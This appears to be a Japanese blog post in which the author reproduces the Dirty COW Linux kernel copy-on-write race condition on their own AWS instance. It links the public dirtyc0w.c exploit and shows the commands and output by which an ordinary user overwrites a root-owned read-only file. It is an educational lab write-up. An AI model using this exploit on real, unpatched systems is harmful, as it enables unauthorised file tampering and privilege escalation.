Linuxの勉強中にCOWを調べていたら、こんな脆弱性の情報を見つけたので、AWSのゲストOSで試してみました。
結論から言うと、脆弱性が再現されました。（一般ユーザーがrootユーザーのファイルを書き換えてしまうことを確認）
【情報元】
①脆弱性の内容
https://dirtycow.ninja/
"A race condition was found in the way the Linux kernel's memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings. An unprivileged local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system." (RH)
②実験用のソースコード
https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
③参考にしたサイト
https://www.agilegroup.co.jp/technote/dirty-cow.html
④Race Conditionとは
https://ja.wikipedia.org/wiki/%E7%AB%B6%E5%90%88%E7%8A%B6%E6%85%8B
1. rootユーザーで一般ユーザーはRead Onlyのファイルを作成。
$ sudo -s
# more confidencial.txt
This is important file
# chmod 0404 confidencial.txt
# exit
2. 実験用の実行ファイルを実行。
$ more confidencial.txt
This is important file
$ ./dirtyc0w confidencial.txt m00000000000000000
mmap 7f4f3e8e7000
madvise 0
procselfmem 1800000000
$
3.以下のように、一般ユーザーにファイル内容を書き換えられてしまっている。
$ more confidencial.txt
m00000000000000000file
$
以上です。
やはりセキュリティ強化のためのメンテナンスは大切ですね。
Thank you! 